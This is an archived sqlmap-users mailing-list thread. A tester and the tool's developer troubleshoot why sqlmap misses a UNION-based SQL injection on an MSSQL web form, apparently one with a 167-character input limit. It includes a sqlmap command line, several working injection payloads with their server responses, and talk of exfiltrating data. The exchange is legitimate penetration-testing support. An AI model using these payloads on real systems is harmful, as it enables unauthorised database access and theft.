Hi again.
Now I've understood what you are trying to point out.
Could you please tell how do you expect sqlmap to help you here?
Input/output trimming is a death to automatization.
Kind regards,
Miroslav Stampar
On Mon, Jun 10, 2013 at 11:07 PM, Stephen Shkardoon <s...@ss23.geek.nz>wrote:
> Hi,
>
> I understand why those examples made it seem like the *output* was being
> trimmed, I am quite sure that is not the case.
> To demonstrate once again, consider the input to parameter one:
> -4230' UNION SELECT NULL,2,':jug:KleqKYCxqt:hor:' --
>
> The output of this input is: [{"id":2,"title":":jug:KleqKYCxqt:hor:"}]
>
> Does this clear it up? The reason the output seemed like it was being
> trimmed was that a) the input was cut off at a point where the SQL only
> contained those characters, and b) the internal mechanism for making the
> SQL valid even if there is a ' by itself (at least, I'm guessing here. I'm
> not sure on this mechanism as it is a blackbox test as I said).
> The difference between the two examples (the one where it seems cut off vs
> not) is of course the length of the input parameters. Here is another
> example to show that the input length is causing issues. Keep in mind, the
> spaces matter in this example, since they count towards the length:
> -4230' UNION SELECT NULL,2
>
> ,':jug:KleqKYCxqt:hor:' --
> Response: an error
>
> As you can see clearly, even characters such as a space count towards this
> input limit to cause an error, which results in the query being truncated
> in a place that causes an invalid statement (with the 167 limit, it would
> look like "-4230' UNION SELECT NULL,2
>
> ,':jug:Kl" which is invalid. If we change this example to
> be:
> -4230' UNION SELECT NULL,2
>
> ,':'--
> We get the output: [{"id":2,"title":":"}]
> This is of course because the query is now valid, because it does not have
> parts cut off in the middle of syntactically important places.
>
> With this information, specifically showing that the output is not cut
> off, even with those specific inputs, it should be clear that the output
> isn't being manipulated (at least, in the way that it seemed to be from
> those examples).
> Would like more examples to show you that the idea of the output being cut
> off is incorrect if it helps?
>
> Lastly, I really do appreciate the time you're taking to help me out with
> this. I'm sorry for doing a poor job of explaining it so far to lead to
> this misunderstanding.
>
> Thanks,
> Stephen
>
>
> On Tue, Jun 11, 2013 at 8:22 AM, Miroslav Stampar <
> miroslav.stam...@gmail.com> wrote:
>
>> Hi.
>>
>> At start I'll repeat that if you look into a traffic file you'll see that
>> you are getting trimmed output:
>> :jug:KleqKYCxq
>>
>> instead of expected:
>> :jug:KleqKYCxqt*:hor:*
>>
>> If you combine that with your last message you could come to the
>> conclusion that output could be trimmed based on non-alphanumeric
>> characters in response. That's why you are getting
>> testtesttesttesttesttesttesttesttesttesttesttesttesttesttest..........
>> without any problems.
>>
>> Now, I've made some necessary changes so there is no more character ':'
>> in boundaries. Please update to the latest revision and retry to run sqlmap
>> now.
>>
>> ##########
>>
>> These three don't make any sense:
>>
>> 1) *Note the lack of ending ' or --, results in the response*
>> 2) To demonstrate that the result itself is not being trimmed
>> 3) I think from the previous email you thought that the *output* from the
>> request was being constrained, which I believe isn't the case, so I'm
>> hoping this clears it up.
>>
>> Results are being trimmed (based on output, not on length). Period.
>>
>> ##########
>>
>> Please update to the latest revision and retry it again.
>>
>>
>> Kind regards,
>> Miroslav Stampar
>>
>>
>> On Mon, Jun 10, 2013 at 9:51 PM, Stephen Shkardoon <s...@ss23.geek.nz>wrote:
>>
>>> Hi,
>>>
>>> Sorry, I think I was unclear in the last email. I'll try explain it more
>>> clearly.
>>>
>>> The result isn't being trimmed to 14 characters, instead, the input
>>> parameter is being trimmed (and for some reason internally, the SQL is
>>> still being constructed to be valid. This is a blackbox test so I'm not
>>> sure of the internals of the script currently).
>>>
>>> For example, the following payload into the first parameter: -4230'
>>> UNION ALL SELECT NULL,2
>>> ,CHAR(58)+CHAR(106)+CHAR(117)+CHAR(103)+CHAR(58)+CHAR(75)+CHAR(108)+CHAR(101)+CHAR(113)+CHAR(75)+CHAR(89)+CHAR(67)+CHAR(120)
>>>
>>> Note the lack of ending ' or --, results in the
>>> response: [{"id":2,"title":":jug:KleqKYCx"}]
>>>
>>> To demonstrate that the result itself is not being trimmed, consider
>>> either of these:
>>> -4230' UNION ALL SELECT NULL,2,'A string that is very very long but not
>>> truncated' --
>>> Results in: [{"id":2,"title":"A string that is very very long but not
>>> truncated"}]
>>>
>>> -4230' UNION ALL SELECT NULL,2,REPLICATE('test', 50) --
>>> Results
>>> in:
>>> [{"id":2,"title":"testtesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttest"}]
>>>
>>> So, it's not the result that is being truncated, rather the input
>>> parameter itself being truncated (perhaps with some internal fix for a
>>> quote that still leaves it vulnerable to SQL injection).
>>>
>>> While I understand this constraint of 167 characters for the input, I
>>> can see a program like sqlmap still being able to pull out results with
>>> this limitation. If the query was condensed down to: ' UNION SELECT
>>> 0,0,':jug:'+(input/join/anything goes here)+':hor'
>>> there would still be 133 characters that could be used for other things
>>> (like the names of fields and databases for exfil).
>>>
>>> I realize that sqlmap might not have the functionality for constraint
>>> input like this, but it seems entirely possible to do it with 167
>>> characters of input in a lot of cases, so I was checking. I think from the
>>> previous email you thought that the *output* from the request was being
>>> constrained, which I believe isn't the case, so I'm hoping this clears it
>>> up.
>>>
>>> If there is nothing like this built into sqlmap already, would it be
>>> possible to leverage it to pull out the results where I could manually
>>> specify the query (e.g. I set a flag to be "' UNION SELECT 0,0,* -- " or
>>> similar and it could deal with the request automation and extraction from
>>> the resultant queries?
>>>
>>> Thanks,
>>> Stephen
>>>
>>>
>>> On Tue, Jun 11, 2013 at 7:02 AM, Miroslav Stampar <
>>> miroslav.stam...@gmail.com> wrote:
>>>
>>>> Hi.
>>>>
>>>> sqlmap has problems, as said, because results are trimmed to 14 chars.
>>>>
>>>> It uses 5 chars for prefix (in this case :jug:) and 5 chars for suffix
>>>> (in this case :hor:) to enclose query result. That leaves 4 usable chars.
>>>>
>>>> We use prefix and suffix because sqlmap has to know where result starts
>>>> and where it ends. Without those marks we can't do our job. And no, they
>>>> can't be any shorter. That's an optimal length found through years of
>>>> development. Previously, we've used shorter ones and there were occasional
>>>> reports of false positives or bad result extraction.
>>>>
>>>> As said, please exploit your case manually.
>>>>
>>>> Kind regards,
>>>> Miroslav Stampar
>>>> On Jun 10, 2013 8:28 PM, "Stephen Shkardoon" <s...@ss23.geek.nz> wrote:
>>>>
>>>>> Hi,
>>>>>
>>>>> After trying to figure out exactly what's going on, it looks like the
>>>>> input ParameterOne is truncated to 167 characters. It's a blackbox test so
>>>>> I'm not sure how it's producing valid SQL, but I guess my next question
>>>>> is,
>>>>> if an input size is constrained like this, does sqlmap have a mechanism
>>>>> for
>>>>> still working?
>>>>> As long as database/table/field names aren't amazing long, it should
>>>>> be possible for sqmap to exfil data, right?
>>>>>
>>>>> Thanks,
>>>>> Stephen
>>>>>
>>>>>
>>>>> On Wed, Jun 5, 2013 at 9:56 AM, Miroslav Stampar <
>>>>> miroslav.stam...@gmail.com> wrote:
>>>>>
>>>>>> Hi.
>>>>>>
>>>>>> That site is trimming results (seems to do it to 14 chars in length).
>>>>>>
>>>>>> For example, request [#32]:
>>>>>>
>>>>>> ParamterOne=-4230' UNION ALL SELECT
>>>>>> NULL,NULL,CHAR(58)+CHAR(106)+CHAR(117)+CHAR(103)+CHAR(58)+CHAR(75)+CHAR(108)+CHAR(101)+CHAR(113)+CHAR(75)+CHAR(89)+CHAR(67)+CHAR(120)+CHAR(113)+CHAR(116)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(114)+CHAR(58)--
>>>>>> &ParameterTwo=10,11,12,35,61
>>>>>>
>>>>>> can be decoded to:
>>>>>>
>>>>>> ParamterOne=-4230' UNION ALL SELECT NULL,NULL,*:jug:KleqKYCxqt:hor:*--
>>>>>> &ParameterTwo=10,11,12,35,61
>>>>>>
>>>>>> while in response there is:
>>>>>> :jug:KleqKYCxq
>>>>>>
>>>>>> In this kind of cases you'll need to (at least try to) exploit it
>>>>>> manually.
>>>>>>
>>>>>> Kind regards,
>>>>>> Miroslav Stampar
>>>>>>
>>>>>>
>>>>>> On Tue, Jun 4, 2013 at 10:47 AM, Stephen Shkardoon <s...@ss23.geek.nz
>>>>>> > wrote:
>>>>>>
>>>>>>> I have a case that sqlmap seems to be acting weird about. I've ran a
>>>>>>> 'sqlmap.py -u "myhost.com/TestFile.aspx"
>>>>>>> --data="ParameterOne=d&ParameterTwo=10,11,12,35,61" --dbms=mssql
>>>>>>> --hostname
>>>>>>> --technique=U --union-cols=3 -v 6 --flush-session --fresh-queries -t
>>>>>>> traffic_log.txt'
>>>>>>> Manually injecting with ParameterOne looking like "foo' UNION SELECT
>>>>>>> 1,2,3 -- " works as expected. In fact, in the log, you can see it
>>>>>>> working
>>>>>>> fine in the case of request #32 and #36. However, sqlmap doesn't "find"
>>>>>>> this issue. Most of the queries seem to be doing something like "foo)
>>>>>>> UNION" instead.
>>>>>>> Is there a problem on my end here, or is sqlmap doing something
>>>>>>> weird or what?
>>>>>>>
>>>>>>> Running sqlmap/1.0-dev-3e0f747 (latest git).
>>>>>>>
>>>>>>> Thanks,
>>>>>>> Stephen
>>>>>>>
>>>>>>>
>>>>>>> ------------------------------------------------------------------------------
>>>>>>> How ServiceNow helps IT people transform IT departments:
>>>>>>> 1. A cloud service to automate IT design, transition and operations
>>>>>>> 2. Dashboards that offer high-level views of enterprise services
>>>>>>> 3. A single system of record for all IT processes
>>>>>>> http://p.sf.net/sfu/servicenow-d2d-j
>>>>>>> _______________________________________________
>>>>>>> sqlmap-users mailing list
>>>>>>> sqlmap-users@lists.sourceforge.net
>>>>>>> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>>>>>>>
>>>>>>>
>>>>>>
>>>>>>
>>>>>> --
>>>>>> Miroslav Stampar
>>>>>> http://about.me/stamparm
>>>>>>
>>>>>
>>>>>
>>>
>>>
>>>
>>> ------------------------------------------------------------------------------
>>> This SF.net email is sponsored by Windows:
>>>
>>> Build for Windows Store.
>>>
>>> http://p.sf.net/sfu/windows-dev2dev
>>>
>>> _______________________________________________
>>> sqlmap-users mailing list
>>> sqlmap-users@lists.sourceforge.net
>>> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>>>
>>>
>>
>>
>> --
>> Miroslav Stampar
>> http://about.me/stamparm
>>
>
>
--
Miroslav Stampar
http://about.me/stamparm
------------------------------------------------------------------------------
This SF.net email is sponsored by Windows:
Build for Windows Store.
http://p.sf.net/sfu/windows-dev2dev
_______________________________________________
sqlmap-users mailing list
sqlmap-users@lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/sqlmap-users
